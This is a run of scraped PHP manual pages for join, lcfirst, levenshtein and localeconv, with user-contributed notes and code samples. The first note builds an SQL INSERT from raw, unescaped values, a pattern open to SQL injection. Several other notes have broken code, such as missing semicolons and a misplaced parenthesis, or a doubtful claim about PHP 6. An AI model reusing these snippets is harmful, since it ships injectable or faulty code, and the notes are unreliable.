php.net {at} nr78 {dot} net 30-Mar-2005 03:50
Also quite handy in INSERT statements:

<?php

   // array containing data
   $array = array(
      "name" => "John",
      "surname" => "Doe",
      "email" => "j.doe@intelligence.gov"
   );

   // build query...
   $sql  = "INSERT INTO table";

   // implode keys of $array...
   $sql .= " (`".implode("`, `", array_keys($array))."`)";

   // implode values of $array...
   $sql .= " VALUES ('".implode("', '", $array)."') ";

   // execute query...
   $result = mysql_query($sql) or die(mysql_error());

?>


Alias of implode

  • « implode
  • lcfirst »
  • PHP Manual
  • String Functions
  • Alias of implode

join

(PHP 4, PHP 5)

join — Alias of implode()

Description

This function is an alias of: implode().

User Contributed Notes

agarwalpiyush at hotmail dot com 14-Mar-2014 08:04
$result  =  join(",", array(
                          "The WordPress Anthology",
                          "PHP Master: Write Cutting Edge Code",
                          "Build Your Own Website the Right Way"));

echo $result;

Result is :

The WordPress Anthology,PHP Master: Write Cutting Edge Code,Build Your Own Website the Right Way


Make a string's first character lowercase

  • « join
  • levenshtein »
  • PHP Manual
  • String Functions
  • Make a string's first character lowercase

lcfirst

(PHP 5 >= 5.3.0)

lcfirst — Make a string's first character lowercase

Description

string lcfirst ( string $str )

Returns a string with the first character of str , lowercased if that character is alphabetic.

Note that 'alphabetic' is determined by the current locale. For instance, in the default "C" locale characters such as umlaut-a (ä) will not be converted.

Parameters

str

The input string.

Return Values

Returns the resulting string.

Examples

Example #1 lcfirst() example

<?php
$foo = 'HelloWorld';
$foo = lcfirst($foo);             // helloWorld

$bar = 'HELLO WORLD!';
$bar = lcfirst($bar);             // hELLO WORLD!
$bar = lcfirst(strtoupper($bar)); // hELLO WORLD!
?>

See Also

  • ucfirst() - Make a string's first character uppercase
  • strtolower() - Make a string lowercase
  • strtoupper() - Make a string uppercase
  • ucwords() - Uppercase the first character of each word in a string

User Contributed Notes

phpnet at katylavallee dot com 02-Apr-2009 05:50
Easiest work-around I've found for <5.3:
<?php

$string = "CamelCase"
$string{0} = strtolower($string{0})
echo $string; // outputs camelCase

?>
ahlers_wim at hotmail dot com 23-Nov-2008 06:48
As of PHP release 6 direct reference modification is not permitted any more.
Reference modification is the process of manipulating characters within a string by means of the instruction such as:
$str[0] in the code line: $str[0] = strtolower($str[0]);

For this reason I have recoded the lcfirst function (on function_exists('lcfirst') === false) as follows:

<?php
if ( false === function_exists('lcfirst') ):
    function lcfirst( $str )
    { return (string)(strtolower(substr($str,0,1)).substr($str,1));}
endif;
?>

Remarks:
Also notice that I have used the more modern scope delimeters (if:-endif;) and I have also removed the unnecessary intermediate result. That is, the manipulation is returned directly.
alex aulbach 06-Oct-2008 06:20
In some cases maybe more useful?

 $lower = strtolower( substr($upper,0,1) ) . substr($upper,1);
harmor 06-May-2008 12:43
A slight modification from Northie's post here ( http://us2.php.net/manual/en/function.ucfirst.php#68443), where lcfirst may not exist in your PHP build:

<?php

if(false === function_exists('lcfirst'))
{
    /**
     * Make a string's first character lowercase
     *
     * @param string $str
     * @return string the resulting string.
     */
    function lcfirst( $str ) {
        $str[0] = strtolower($str[0]);
        return (string)$str;
    }
}

/* Tests */
echo var_dump(lcFirst(NULL)).'<br />';    /* string(0) ""  */
echo var_dump(lcFirst(''))  .'<br />';    /* string(0) ""  */
echo var_dump(lcFirst('S')) .'<br />';    /* string(1) "S" */
echo var_dump(lcFirst('É')) .'<br />';    /* string(0) "�" */
echo var_dump(lcFirst('Hello World!!!')); /* string(14) "hello World!!!"  */


Calculate Levenshtein distance between two strings

  • Â« lcfirst
  • localeconv Â»
  • PHP Manual
  • String Functions
  • Calculate Levenshtein distance between two strings

levenshtein

(PHP 4 >= 4.0.1, PHP 5)

levenshtein — Calculate Levenshtein distance between two strings

Description

int levenshtein ( string $str1 , string $str2 )
int levenshtein ( string $str1 , string $str2 , int $cost_ins , int $cost_rep , int $cost_del )

The Levenshtein distance is defined as the minimal number of characters you have to replace, insert or delete to transform str1 into str2. The complexity of the algorithm is O(m*n), where n and m are the length of str1 and str2 (rather good when compared to similar_text(), which is O(max(n,m)**3), but still expensive).

In its simplest form the function will take only the two strings as parameter and will calculate just the number of insert, replace and delete operations needed to transform str1 into str2.

A second variant will take three additional parameters that define the cost of insert, replace and delete operations. This is more general and adaptive than variant one, but not as efficient.

Parameters

str1

One of the strings being evaluated for Levenshtein distance.

str2

One of the strings being evaluated for Levenshtein distance.

cost_ins

Defines the cost of insertion.

cost_rep

Defines the cost of replacement.

cost_del

Defines the cost of deletion.

Return Values

This function returns the Levenshtein-Distance between the two argument strings or -1, if one of the argument strings is longer than the limit of 255 characters.

Examples

Example #1 levenshtein() example

<?php
// input misspelled word
$input = 'carrrot';

// array of words to check against
$words  = array('apple','pineapple','banana','orange',
                'radish','carrot','pea','bean','potato');

// no shortest distance found, yet
$shortest = -1;

// loop through words to find the closest
foreach ($words as $word) {

    // calculate the distance between the input word,
    // and the current word
    $lev = levenshtein($input, $word);

    // check for an exact match
    if ($lev == 0) {

        // closest word is this one (exact match)
        $closest = $word;
        $shortest = 0;

        // break out of the loop; we've found an exact match
        break;
    }

    // if this distance is less than the next found shortest
    // distance, OR if a next shortest word has not yet been found
    if ($lev <= $shortest || $shortest < 0) {
        // set the closest match, and shortest distance
        $closest  = $word;
        $shortest = $lev;
    }
}

echo "Input word: $input\n";
if ($shortest == 0) {
    echo "Exact match found: $closest\n";
} else {
    echo "Did you mean: $closest?\n";
}

?>

The above example will output:

Input word: carrrot
Did you mean: carrot?

See Also

  • soundex() - Calculate the soundex key of a string
  • similar_text() - Calculate the similarity between two strings
  • metaphone() - Calculate the metaphone key of a string

User Contributed Notes

kars at kargn dot as 28-Mar-2014 11:13
This is useful to detect spam user.
luciole75w at no dot spam dot gmail dot com 18-Nov-2013 11:25
The levenshtein function processes each byte of the input string individually. Then for multibyte encodings, such as UTF-8, it may give misleading results.

Example with a french accented word :
- levenshtein('notre', 'votre') = 1
- levenshtein('notre', 'nÃ´tre') = 2 (huh ?!)

You can easily find a multibyte compliant PHP implementation of the levenshtein function but it will be of course much slower than the C implementation.

Another option is to convert the strings to a single-byte (lossless) encoding so that they can feed the fast core levenshtein function.

Here is the conversion function I used with a search engine storing UTF-8 strings, and a quick benchmark. I hope it will help.

<?php
// Convert an UTF-8 encoded string to a single-byte string suitable for
// functions such as levenshtein.
//
// The function simply uses (and updates) a tailored dynamic encoding
// (in/out map parameter) where non-ascii characters are remapped to
// the range [128-255] in order of appearance.
//
// Thus it supports up to 128 different multibyte code points max over
// the whole set of strings sharing this encoding.
//
function utf8_to_extended_ascii($str, &$map)
{
    // find all multibyte characters (cf. utf-8 encoding specs)
    $matches = array();
    if (!preg_match_all('/[\xC0-\xF7][\x80-\xBF]+/', $str, $matches))
        return $str; // plain ascii string

    // update the encoding map with the characters not already met
    foreach ($matches[0] as $mbc)
        if (!isset($map[$mbc]))
            $map[$mbc] = chr(128 + count($map));

    // finally remap non-ascii characters
    return strtr($str, $map);
}

// Didactic example showing the usage of the previous conversion function but,
// for better performance, in a real application with a single input string
// matched against many strings from a database, you will probably want to
// pre-encode the input only once.
//
function levenshtein_utf8($s1, $s2)
{
    $charMap = array();
    $s1 = utf8_to_extended_ascii($s1, $charMap);
    $s2 = utf8_to_extended_ascii($s2, $charMap);

    return levenshtein($s1, $s2);
}
?>

Results (for about 6000 calls)
- reference time core C function (single-byte) : 30 ms
- utf8 to ext-ascii conversion + core function : 90 ms
- full php implementation : 3000 ms
engineglue at gmail dot com 08-Jan-2012 05:05
I really like [the manual's] example for the use of the levenshtein function to match against an array. I ran into the need to specify the sensitivity of the result. There are circumstances when you want it to return false if the match is way out of line. I wouldn't want "marry had a little lamb" to match with "saw viii" simply because it was the best match in the array. Hence the need for sensitivity:

<?php
    function wordMatch($words, $input, $sensitivity){
        $shortest = -1;
        foreach ($words as $word) {
            $lev = levenshtein($input, $word);
            if ($lev == 0) {
                $closest = $word;
                $shortest = 0;
                break;
            }
            if ($lev <= $shortest || $shortest < 0) {
                $closest  = $word;
                $shortest = $lev;
            }
        }
        if($shortest <= $sensitivity){
            return $closest;
        } else {
            return 0;
        }
    }

    $word = 'PINEEEEAPPLE';

    $words  = array('apple','pineapple','banana','orange',
                    'radish','carrot','pea','bean','potato');

    echo wordMatch($words, strtolower($word), 2);
?>
Chaim Chaikin 02-Nov-2011 08:40
As regards to Example #1 above, would it not be more efficient to first use a simple php == comparison to check if the strings are equal even before testing the word with levenshtein().

Something like this:

<?php
// input misspelled word
$input = 'carrrot';

// array of words to check against
$words  = array('apple','pineapple','banana','orange',
                'radish','carrot','pea','bean','potato');

// no shortest distance found, yet
$shortest = -1;

// loop through words to find the closest
foreach ($words as $word) {

    // check for an exact match
    if ($input == $word) {

        // closest word is this one (exact match)
        $closest = $word;
        $shortest = 0;

        // break out of the loop; we've found an exact match
        break;
    }

    // calculate the distance between the input word,
    // and the current word
    $lev = levenshtein($input, $word);

    // if this distance is less than the next found shortest
    // distance, OR if a next shortest word has not yet been found
    if ($lev <= $shortest || $shortest < 0) {
        // set the closest match, and shortest distance
        $closest  = $word;
        $shortest = $lev;
    }
}

echo "Input word: $input\n";
if ($shortest == 0) {
    echo "Exact match found: $closest\n";
} else {
    echo "Did you mean: $closest?\n";
}

?>
paulrowe at iname dot com 28-Aug-2008 02:58
[EDITOR'S NOTE: original post and 2 corrections combined into 1 -- mgf]

Here is an implementation of the Levenshtein Distance calculation that only uses a one-dimensional array and doesn't have a limit to the string length. This implementation was inspired by maze generation algorithms that also use only one-dimensional arrays.

I have tested this function with two 532-character strings and it completed in 0.6-0.8 seconds.

<?php
/*
* This function starts out with several checks in an attempt to save time.
*   1.  The shorter string is always used as the "right-hand" string (as the size of the array is based on its length).
*   2.  If the left string is empty, the length of the right is returned.
*   3.  If the right string is empty, the length of the left is returned.
*   4.  If the strings are equal, a zero-distance is returned.
*   5.  If the left string is contained within the right string, the difference in length is returned.
*   6.  If the right string is contained within the left string, the difference in length is returned.
* If none of the above conditions were met, the Levenshtein algorithm is used.
*/
function LevenshteinDistance($s1, $s2)
{
  $sLeft = (strlen($s1) > strlen($s2)) ? $s1 : $s2;
  $sRight = (strlen($s1) > strlen($s2)) ? $s2 : $s1;
  $nLeftLength = strlen($sLeft);
  $nRightLength = strlen($sRight);
  if ($nLeftLength == 0)
    return $nRightLength;
  else if ($nRightLength == 0)
    return $nLeftLength;
  else if ($sLeft === $sRight)
    return 0;
  else if (($nLeftLength < $nRightLength) && (strpos($sRight, $sLeft) !== FALSE))
    return $nRightLength - $nLeftLength;
  else if (($nRightLength < $nLeftLength) && (strpos($sLeft, $sRight) !== FALSE))
    return $nLeftLength - $nRightLength;
  else {
    $nsDistance = range(1, $nRightLength + 1);
    for ($nLeftPos = 1; $nLeftPos <= $nLeftLength; ++$nLeftPos)
    {
      $cLeft = $sLeft[$nLeftPos - 1];
      $nDiagonal = $nLeftPos - 1;
      $nsDistance[0] = $nLeftPos;
      for ($nRightPos = 1; $nRightPos <= $nRightLength; ++$nRightPos)
      {
        $cRight = $sRight[$nRightPos - 1];
        $nCost = ($cRight == $cLeft) ? 0 : 1;
        $nNewDiagonal = $nsDistance[$nRightPos];
        $nsDistance[$nRightPos] =
          min($nsDistance[$nRightPos] + 1,
              $nsDistance[$nRightPos - 1] + 1,
              $nDiagonal + $nCost);
        $nDiagonal = $nNewDiagonal;
      }
    }
    return $nsDistance[$nRightLength];
  }
}
?>
luka8088 at gmail dot com 28-May-2008 10:03
Simple levenshtein function without string length limit ...

<?php

function levenshtein2($str1, $str2, $cost_ins = null, $cost_rep = null, $cost_del = null) {
    $d = array_fill(0, strlen($str1) + 1, array_fill(0, strlen($str2) + 1, 0));
    $ret = 0;

    for ($i = 1; $i < strlen($str1) + 1; $i++)
        $d[$i][0] = $i;
    for ($j = 1; $j < strlen($str2) + 1; $j++)
        $d[0][$j] = $j;

    for ($i = 1; $i < strlen($str1) + 1; $i++)
        for ($j = 1; $j < strlen($str2) + 1; $j++) {
            $c = 1;
            if ($str1{$i - 1} == $str2{$j - 1})
                $c = 0;
            $d[$i][$j] = min($d[$i - 1][$j] + 1, $d[$i][$j - 1] + 1, $d[$i - 1][$j - 1] + $c);
            $ret = $d[$i][$j];
        }

    return $ret;
}

?>
atx dot antrax at gmail dot com 17-Apr-2008 11:42
I have made a function that removes the length-limit of levenshtein function and ajust the result with similar_text:

<?php
function _similar($str1, $str2) {
    $strlen1=strlen($str1);
    $strlen2=strlen($str2);
    $max=max($strlen1, $strlen2);

    $splitSize=250;
    if($max>$splitSize)
    {
        $lev=0;
        for($cont=0;$cont<$max;$cont+=$splitSize)
        {
            if($strlen1<=$cont || $strlen2<=$cont)
            {
                $lev=$lev/($max/min($strlen1,$strlen2));
                break;
            }
            $lev+=levenshtein(substr($str1,$cont,$splitSize), substr($str2,$cont,$splitSize));
        }
    }
    else
    $lev=levenshtein($str1, $str2);

    $porcentage= -100*$lev/$max+100;
    if($porcentage>75)//Ajustar con similar_text
    similar_text($str1,$str2,$porcentage);

    return $porcentage;
}
?>
dale3h 12-Feb-2008 05:52
Using PHP's example along with Patrick's comparison percentage function, I have come up with a function that returns the closest word from an array, and assigns the percentage to a referenced variable:

<?php
  function closest_word($input, $words, &$percent = null) {
    $shortest = -1;
    foreach ($words as $word) {
      $lev = levenshtein($input, $word);

      if ($lev == 0) {
        $closest = $word;
        $shortest = 0;
        break;
      }

      if ($lev <= $shortest || $shortest < 0) {
        $closest  = $word;
        $shortest = $lev;
      }
    }

    $percent = 1 - levenshtein($input, $closest) / max(strlen($input), strlen($closest));

    return $closest;
  }
?>

Usage:
<?php
  $input = 'carrrot';
  $words = array('apple','pineapple','banana','orange',
                 'radish','carrot','pea','bean','potato');

  $percent = null;
  $found = closest_word($input, $words, $percent);

  printf('Closest word to "%s": %s (%s%% match)', $input, $found, round($percent * 100, 2));
?>

I found that lowercasing the array prior to comparing yields a better comparison when the case is not of importance, for example: comparing a user-inputted category to a list of existing categories.

I also found that when the percentage was above 75%, it was usually the match that I was looking for.
carey at NOSPAM dot internode dot net dot au 28-Oct-2006 04:06
I have found that levenshtein is actually case-sensitive (in PHP 4.4.2 at least).

<?php
$distance=levenshtein('hello','ELLO');
echo "$distance";
?>

Outputs: "5", instead of "1". If you are implementing a fuzzy search feature that makes use of levenshtein, you will probably need to find a way to work around this.
dinesh AT dinsoft DOT net 18-Mar-2006 12:18
Here is a string resynch function:

<?php
// Trouve les operations a effectuer pour modifier $b en $a en exploitant leurs similitudes (Finds the operations required to change $b to $a)
// Identique a la fonction Resynch Compare de Hex Workshop
//
// Parametres:
//      $a Premiere chaine (cible, target)
//      $b Seconde chaine (source)
//      $l Nombre d'octets devant correspondre pour etre consides comme un bloc similaire (number of matching bytes required)
//      $s Distance maximale dans laquelle les blocs similaires sont cherches (search window)
//
// Retourne:
//      Array
//              Array
//                      [0] Operation: + Add , - Del , / Replace, = Match
//                      [1] Source offset
//                      [2] Source count
//                      [3] Target offset
//                      [4] Target count
//
function str_resynch($a,$b,$l=32,$s=2048) {
        $r=array();
        for($i=0,$c=strlen($a),$cc=strlen($b),$ii=0,$z=$s-1,$z2=($z<<1)+1; $i<$c; $i++) {
                $d=$i-$z;
                $d=($d<$ii)?substr($b,$ii,$z2-$ii+$d):substr($b,$d,$z2);

                $p=strpos($d,$a{$i});
                $n=0;
                while ($p!==FALSE) {
                        $m=1;
                        $bi=$i;
                        $bp=$p;
                        $p+=$ii;
                        while ((++$i<$c) && (++$p<$cc)) {
                                if ($a{$i}!=$b{$p}) break;
                                $m++;
                        }
                        if ($m<$l) {
                                $i=$bi;
                                $n=$bp+1;
                                $p=@strpos($d,$a{$i},$n);
                        }
                        else {
                                $i--;
                                $r[]=array($bi,$bp+$ii,$m); // offset a, offset b, Count
                                $ii=$p;
                                break;
                        }
                }
        }

        if (!count($r)) return ($cc)?array('/',0,$c,0,$cc):array(array('+',0,$c,0,0));

        $o=array();
        $bi=0;
        $bp=0;
        for($i=0,$m=count($r);$i<$m;$i++) {
                if ($r[$i][0]!=$bi) {
                        if ($r[$i][1]!=$bp) {
                                // Replace
                                $o[]=array('/',$bi,$r[$i][0]-$bi,$bp,$r[$i][1]-$bp);
                                $bi=$r[$i][0];
                                $bp=$r[$i][1];
                        }
                        else {
                                // Insertion
                                $o[]=array('+',$bi,$r[$i][0]-$bi,$bp,0);
                                $bi=$r[$i][0];
                        }
                }
                elseif ($r[$i][1]!=$bp) {
                        // Delete
                        $o[]=array('-',$bi,0,$bp,$r[$i][1]-$bp);
                        $bp=$r[$i][1];
                }

                // Match
                $o[]=array('=',$r[$i][0],$r[$i][2],$r[$i][1],$r[$i][2]);
                $bi+=$r[$i][2];
                $bp+=$r[$i][2];
        }

        if ($c!=$bi) {
                if ($cc!=$bp) $o[]=array('/',$bi,$c-$bi,$bp,$cc-$bp);
                else $o[]=array('+',$bi,$c-$bi,$bp,0);
        }
        elseif ($cc!=$bp) $o[]=array('-',$bi,0,$bp,$cc-$bp);

        return $o;
}
?>
june05 at tilo-hauke dot de 06-Jun-2005 09:44
//levenshtein for arrays
function array_levenshtein($array1,$array2)
         {   $aliases= array_flip(array_values(array_unique(array_merge($array1,$array2))));
             if(count($aliases)>255) return -1;
             $stringA=''; $stringB='';
             foreach($array1 as $entry) $stringA.=chr($aliases[$entry]);
             foreach($array2 as $entry) $stringB.=chr($aliases[$entry]);
             return levenshtein($stringA,$stringB);
         }

// e.g. use array_levenshtein to detect special expressions in unser-inputs

echo array_levenshtein(split(" ", "my name is xxx"), split(" ","my name is levenshtein"));

//output: 1
justin at visunet dot ie 05-Apr-2005 04:46
<?php

    /*********************************************************************
    * The below func, btlfsa, (better than levenstien for spelling apps)
    * produces better results when comparing words like haert against
    * haart and heart.
    *
    * For example here is the output of levenshtein compared to btlfsa
    * when comparing 'haert' to 'herat, haart, heart, harte'
    *
    * btlfsa('haert','herat'); output is.. 3
    * btlfsa('haert','haart'); output is.. 3
    * btlfsa('haert','harte'); output is.. 3
    * btlfsa('haert','heart'); output is.. 2
    *
    * levenshtein('haert','herat'); output is.. 2
    * levenshtein('haert','haart'); output is.. 1
    * levenshtein('haert','harte'); output is.. 2
    * levenshtein('haert','heart'); output is.. 2
    *
    * In other words, if you used levenshtein, 'haart' would be the
    * closest match to 'haert'. Where as, btlfsa sees that it should be
    * 'heart'
    */

    function btlfsa($word1,$word2)
    {
        $score = 0;

        // For each char that is different add 2 to the score
        // as this is a BIG difference

        $remainder  = preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word1)."]/i",'',$word2);
        $remainder .= preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word2)."]/i",'',$word1);
        $score      = strlen($remainder)*2;

        // Take the difference in string length and add it to the score
        $w1_len  = strlen($word1);
        $w2_len  = strlen($word2);
        $score  += $w1_len > $w2_len ? $w1_len - $w2_len : $w2_len - $w1_len;

        // Calculate how many letters are in different locations
        // And add it to the score i.e.
        //
        // h e a r t
        // 1 2 3 4 5
        //
        // h a e r t     a e        = 2
        // 1 2 3 4 5   1 2 3 4 5
        //

        $w1 = $w1_len > $w2_len ? $word1 : $word2;
        $w2 = $w1_len > $w2_len ? $word2 : $word1;

        for($i=0; $i < strlen($w1); $i++)
        {
            if ( !isset($w2[$i]) || $w1[$i] != $w2[$i] )
            {
                $score++;
            }
        }

        return $score;
    }

    // *************************************************************
    // Here is a full code example showing the difference

    $misspelled = 'haert';

    // Imagine that these are sample suggestions thrown back by soundex or metaphone..
    $suggestions = array('herat', 'haart', 'heart', 'harte');

    // Firstly order an array based on levenshtein
    $levenshtein_ordered = array();
    foreach ( $suggestions as $suggestion )
    {
        $levenshtein_ordered[$suggestion] = levenshtein($misspelled,$suggestion);
    }
    asort($levenshtein_ordered, SORT_NUMERIC );

    print "<b>Suggestions as ordered by levenshtein...</b><ul><pre>";
    print_r($levenshtein_ordered);
    print "</pre></ul>";

    // Secondly order an array based on btlfsa
    $btlfsa_ordered = array();
    foreach ( $suggestions as $suggestion )
    {
        $btlfsa_ordered[$suggestion] = btlfsa($misspelled,$suggestion);
    }
    asort($btlfsa_ordered, SORT_NUMERIC );

    print "<b>Suggestions as ordered by btlfsa...</b><ul><pre>";
    print_r($btlfsa_ordered);
    print "</pre></ul>";

?>
mcreuzer at r-world dot com 07-Mar-2005 06:01
I am using the Levenshtein distance to SORT my search results.

I have a search page for peoples names. I do a SOUNDEX() search on the name in mysql. MySQL SOUNDEX() will perform the "fuzzy" search for me.

I then calculate the Levenshtein distance between the search term and the actual name found by the SOUNDEX() search. This will give me a score on how close my results are to the search string.

I can the sort my results for display listing the closest results first.

<?php
// PHP CODE INCLUDING DB LOOKUPS HERE
    usort($searchresults, "finallevenshteinsortfunction");

function finallevenshteinsortfunction($a, $b)
{
    if(($a['levenshtein'] > $b['levenshtein']) || ( $a['levenshtein'] == $b['levenshtein'] && strnatcasecmp( $a['Last_Name'], $b['Last_Name']) >= 1) ){ return $a['levenshtein'];} // Ok... The levenstein is greater OR with the same levenshtein, the last name is alphanumerically first
    elseif($a['levenshtein'] == $b['levenshtein']){ return '0';} // The levenstein matches
    elseif($a['levenshtein'] < $b['levenshtein']){ return -$a['levenshtein'];}
    else{die("<!-- a horrable death -->");}
}
?>
gzink at zinkconsulting dot com 03-Dec-2003 12:03
Try combining this with metaphone() for a truly amazing fuzzy search function. Play with it a bit, the results can be plain scary (users thinking the computer is almost telepathic) when implemented properly. I wish spell checkers worked as well as the code I've written.

I would release my complete code if reasonable, but it's not, due to copyright issues. I just hope that somebody can learn from this little tip!
genialbrainmachine at dot IHATESPAM dot tiscali dot it 26-Oct-2003 08:55
I wrote this function to have an "intelligent" comparison between data to be written in a DB
and already existent data. Not ony calculating distances but also balancing distances for
each field.
<?php
/*
This function calculate a balanced percentage distance between an array of strings
"$record" and a compared array "$compared", balanced through an array of
weights "$weight". The three arrays must have the same indices.
For an unbalanced distance, set all weights to 1.
The used formula is:
percentage distance = sum(field_levenshtein_distance * field_weight) / sum(record_field_length * field_weight) * 100
*/
function search_similar($record, $weights, $compared, $precision=2) {
         $field_names = array_keys($record);
         # "Weighted length" of $record and "weighted distance".
         foreach ($field_names as $field_key) {
                 $record_weight += strlen($record[$field_key]) * $weights[$field_key];
                 $weighted_distance += levenshtein($record[$field_key],$compared[$field_key]) * $weights[$field_key];
                 }
         # Building the result..
         if ($record_weight) {
             return round(($weighted_distance / $record_weight * 100),$precision);
            } elseif ((strlen(implode("",$record)) == 0) && (strlen(implode("",$compared)) == 0)) { // empty records
            return round(0,$precision);
            } elseif (array_sum($weights) == 0) { // all weights == 0
            return round(0,$precision);
            } else {
            return false;
            }
         /*
         Be very careful distinguising 0 result and false result.
         The function results 0 ('0.00' if $precision is 2 and so on) if:
         - $record and $compared are equals (even if $record and $compared are empty);
         - all weights are 0 (the meaning could be "no care about any field").
         Conversely, the function results false if $record is empty, but the weights
         are not all 0 and $compared is not empty. That cause a "division by 0" error.
         I wrote this kind of check:

         if ($rel_dist = search_similar(...)) {
             print $rel_dist;
            } elseif ($rel_dist == "0.00") { // supposing that $precision is 2
            print $rel_dist;
            } else {
            print "infinite";
            }

         */
         }
?>
jlsalinas at gmx dot net 26-Oct-2003 04:28
Regarding the post by fgilles on April 26th 2001, I suggest not to use levenshtein() function to test for over-uppercasing unless you've got plenty of time to waste in your host. ;) Anyhow, I think it's a useful feature, as I get really annoyed when reading whole messages in uppercase.

PHP's levenshtein() function can only handle up to 255 characters, which is not realistic for user input (only the first paragraph oh this post has 285 characters). If you choose to use a custom function able to handle more than 255 characters, efficiency is an important issue.

I use this function, specific for this case, but much faster:

function ucase_percent ($str) {
    $str2 = strtolower ($str);

    $l = strlen ($str);
    $ucase = 0;

    for ($i = 0; $i < $l; $i++) {
        if ($str{$i} != $str2{$i}) {
            $ucase++;
        }
    }

    return $ucase / $l * 100.0;
}

I think 10% is enough for written English (maybe other languages like German, which use more capital letters, need more). With some sentencies in uppercase (everybody has the right to shout occasionally), 20% would be enough; so I use a threshold of 30%. When exceeded, I lowercase the whole message.

Hope you find it useful and it helps keeping the web free of ill-mannered people.
inerte is my hotmail.com username 11-Jul-2003 07:22
I am using this function to avoid duplicate information on my client's database.

After retrieving a series of rows and assigning the results to an array values, I loop it with foreach comparing its levenshtein() with the user supplied string.

It helps to avoid people re-registering "John Smith", "Jon Smith" or "Jon Smit".

Of course, I can't block the operation if the user really wants to, but a suggestion is displayed along the lines of: "There's a similar client with this name.", followed by the list of the similar strings.
bisqwit at iki dot fi 12-Aug-2002 04:43
At the time of this manual note the user defined thing
in levenshtein() is not implemented yet. I wanted something
like that, so I wrote my own function. Note that this
doesn't return levenshtein() difference, but instead
an array of operations to transform a string to another.

Please note that the difference finding part (resync)
may be extremely slow on long strings.

<?php

/* matchlen(): returns the length of matching
 * substrings at beginning of $a and $b
 */
function matchlen(&$a, &$b)
{
  $c=0;
  $alen = strlen($a);
  $blen = strlen($b);
  $d = min($alen, $blen);
  while($a[$c] == $b[$c] && $c < $d)
    $c++;
  return $c;
}

/* Returns a table describing
 * the differences of $a and $b */
function calcdiffer($a, $b)
{
  $alen = strlen($a);
  $blen = strlen($b);
  $aptr = 0;
  $bptr = 0;

  $ops = array();

  while($aptr < $alen && $bptr < $blen)
  {
    $matchlen = matchlen(substr($a, $aptr), substr($b, $bptr));
    if($matchlen)
    {
      $ops[] = array('=', substr($a, $aptr, $matchlen));
      $aptr += $matchlen;
      $bptr += $matchlen;
      continue;
    }
    /* Difference found */

    $bestlen=0;
    $bestpos=array(0,0);
    for($atmp = $aptr; $atmp < $alen; $atmp++)
    {
      for($btmp = $bptr; $btmp < $blen; $btmp++)
      {
        $matchlen = matchlen(substr($a, $atmp), substr($b, $btmp));
        if($matchlen>$bestlen)
        {
          $bestlen=$matchlen;
          $bestpos=array($atmp,$btmp);
        }
        if($matchlen >= $blen-$btmp)break;
      }
    }
    if(!$bestlen)break;

    $adifflen = $bestpos[0] - $aptr;
    $bdifflen = $bestpos[1] - $bptr;

    if($adifflen)
    {
      $ops[] = array('-', substr($a, $aptr, $adifflen));
      $aptr += $adifflen;
    }
    if($bdifflen)
    {
      $ops[] = array('+', substr($b, $bptr, $bdifflen));
      $bptr += $bdifflen;
    }
    $ops[] = array('=', substr($a, $aptr, $bestlen));
    $aptr += $bestlen;
    $bptr += $bestlen;
  }
  if($aptr < $alen)
  {
    /* b has too much stuff */
    $ops[] = array('-', substr($a, $aptr));
  }
  if($bptr < $blen)
  {
    /* a has too little stuff */
    $ops[] = array('+', substr($b, $bptr));
  }
  return $ops;
}

Example:

$tab = calcdiffer('Tämä on jonkinlainen testi',
                  'Tämä ei ole minkäänlainen testi.');
$ops = array('='=>'Ok', '-'=>'Remove', '+'=>'Add');
foreach($tab as $k)
  echo $ops[$k[0]], " '", $k[1], "'\n";

Example output:

Ok 'Tämä '
Remove 'on jonki'
Add 'ei ole minkää'
Ok 'nlainen testi'
Add '.'
12-Apr-2002 03:57
For spell checking applications, delay could be tolerable if you assume the typist got the first two or three chars of each word right.  Then you'd only need to calc distances for a small segment of the dictionary.  This is a compromise but one I think a lot of spell checkers make.
For an example of site search using this function look at the PHP manual search button on this page.  It appears to be doing this for the PHP function list.
fgilles at free dot fr 26-Apr-2001 10:32
Exempla of use for a forum: users can't post messages too much uppercased

<?php
if ((strlen($subject)>10) and ( ( levenshtein ($subject, strtolower ($subject) / strlen ($subject) ) > .3 ) ){
    $subject = strtolower($subject);
}
?>
dschultz at protonic dot com 10-Aug-2000 06:01
It's also useful if you want to make some sort of registration page and you want to make sure that people who register don't pick usernames that are very similar to their passwords.
ad1n at dc dot uba dot ar 05-Aug-2000 02:01
One application of this is when you want to look for a similar match instead of an exact one. You can sort the results of checking the distances of a word to a dictionary and sort them to see which were the more similar ones. Of course it will be a quite resourse consuming task anyway.


Get numeric formatting information

  • « levenshtein
  • ltrim »
  • PHP Manual
  • String Functions
  • Get numeric formatting information

localeconv

(PHP 4 >= 4.0.5, PHP 5)

localeconv — Get numeric formatting information

Description

array localeconv ( void )

Returns an associative array containing localized numeric and monetary formatting information.

Return Values

localeconv() returns data based upon the current locale as set by setlocale(). The associative array that is returned contains the following fields:

Array element | Description
decimal_point | Decimal point character
thousands_sep | Thousands separator
grouping | Array containing numeric groupings
int_curr_symbol | International currency symbol (i.e. USD)
currency_symbol | Local currency symbol (i.e. $)
mon_decimal_point | Monetary decimal point character
mon_thousands_sep | Monetary thousands separator
mon_grouping | Array containing monetary groupings
positive_sign | Sign for positive values
negative_sign | Sign for negative values
int_frac_digits | International fractional digits
frac_digits | Local fractional digits
p_cs_precedes | TRUE if currency_symbol precedes a positive value, FALSE if it succeeds one
p_sep_by_space | TRUE if a space separates currency_symbol from a positive value, FALSE otherwise
n_cs_precedes | TRUE if currency_symbol precedes a negative value, FALSE if it succeeds one
n_sep_by_space | TRUE if a space separates currency_symbol from a negative value, FALSE otherwise
p_sign_posn
  • 0 - Parentheses surround the quantity and currency_symbol
  • 1 - The sign string precedes the quantity and currency_symbol
  • 2 - The sign string succeeds the quantity and currency_symbol
  • 3 - The sign string immediately precedes the currency_symbol
  • 4 - The sign string immediately succeeds the currency_symbol
n_sign_posn
  • 0 - Parentheses surround the quantity and currency_symbol
  • 1 - The sign string precedes the quantity and currency_symbol
  • 2 - The sign string succeeds the quantity and currency_symbol
  • 3 - The sign string immediately precedes the currency_symbol
  • 4 - The sign string immediately succeeds the currency_symbol

The p_sign_posn, and n_sign_posn contain a string of formatting options. Each number representing one of the above listed conditions.

